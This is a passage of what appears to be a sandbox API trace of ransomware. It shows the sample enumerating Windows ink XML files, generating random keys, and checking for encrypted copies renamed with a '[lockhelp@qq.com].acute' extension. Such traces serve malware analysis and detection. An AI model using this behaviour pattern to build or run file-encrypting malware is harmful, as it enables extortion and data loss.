shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.602] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3161) returned 1 [0272.603] CloseHandle (hObject=0x338) returned 1 [0272.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0272.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.603] ResetEvent (hEvent=0x2d4) returned 1 [0272.603] SetEvent (hEvent=0x2d8) returned 1 [0272.603] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.603] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3166) returned 1 [0272.603] CloseHandle (hObject=0x338) returned 1 [0272.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0272.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.603] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.604] ResetEvent (hEvent=0x2d4) returned 1 [0272.604] SetEvent (hEvent=0x2d8) returned 1 [0272.604] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.604] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=738) returned 1 [0272.604] CloseHandle (hObject=0x338) returned 1 [0272.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0272.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.605] ResetEvent (hEvent=0x2d4) returned 1 [0272.605] SetEvent (hEvent=0x2d8) returned 1 [0272.605] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.605] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=804) returned 1 [0272.605] CloseHandle (hObject=0x338) returned 1 [0272.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0272.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.605] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.605] ResetEvent (hEvent=0x2d4) returned 1 [0272.605] SetEvent (hEvent=0x2d8) returned 1 [0272.606] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.606] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=488) returned 1 [0272.606] CloseHandle (hObject=0x338) returned 1 [0272.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0272.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.607] ResetEvent (hEvent=0x2d4) returned 1 [0272.607] SetEvent (hEvent=0x2d8) returned 1 [0272.607] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.607] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=617) returned 1 [0272.607] CloseHandle (hObject=0x338) returned 1 [0272.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0272.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.607] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.608] ResetEvent (hEvent=0x2d4) returned 1 [0272.608] SetEvent (hEvent=0x2d8) returned 1 [0272.608] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.608] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=16616) returned 1 [0272.608] CloseHandle (hObject=0x338) returned 1 [0272.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0272.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.613] ResetEvent (hEvent=0x2d4) returned 1 [0272.613] SetEvent (hEvent=0x2d8) returned 1 [0272.613] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.613] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=15097) returned 1 [0272.613] CloseHandle (hObject=0x338) returned 1 [0272.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0272.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.613] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.613] ResetEvent (hEvent=0x2d4) returned 1 [0272.613] SetEvent (hEvent=0x2d8) returned 1 [0272.613] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.614] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=9803) returned 1 [0272.614] CloseHandle (hObject=0x338) returned 1 [0272.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0272.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.614] ResetEvent (hEvent=0x2d4) returned 1 [0272.614] SetEvent (hEvent=0x2d8) returned 1 [0272.614] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.615] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=11067) returned 1 [0272.615] CloseHandle (hObject=0x338) returned 1 [0272.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0272.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.615] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.615] ResetEvent (hEvent=0x2d4) returned 1 [0272.615] SetEvent (hEvent=0x2d8) returned 1 [0272.615] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.616] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=10947) returned 1 [0272.616] CloseHandle (hObject=0x338) returned 1 [0272.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0272.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.616] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.617] ResetEvent (hEvent=0x2d4) returned 1 [0272.617] SetEvent (hEvent=0x2d8) returned 1 [0272.617] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.617] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=38485) returned 1 [0272.617] CloseHandle (hObject=0x334) returned 1 [0272.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0272.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.617] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.620] ResetEvent (hEvent=0x2d4) returned 1 [0272.620] SetEvent (hEvent=0x2d8) returned 1 [0272.620] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.620] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1218) returned 1 [0272.620] CloseHandle (hObject=0x338) returned 1 [0272.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0272.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.621] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.621] ResetEvent (hEvent=0x2d4) returned 1 [0272.621] SetEvent (hEvent=0x2d8) returned 1 [0272.621] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.622] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=209) returned 1 [0272.622] CloseHandle (hObject=0x334) returned 1 [0272.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0272.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.622] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.624] ResetEvent (hEvent=0x2d4) returned 1 [0272.624] SetEvent (hEvent=0x2d8) returned 1 [0272.624] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.625] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=471) returned 1 [0272.625] CloseHandle (hObject=0x338) returned 1 [0272.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0272.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 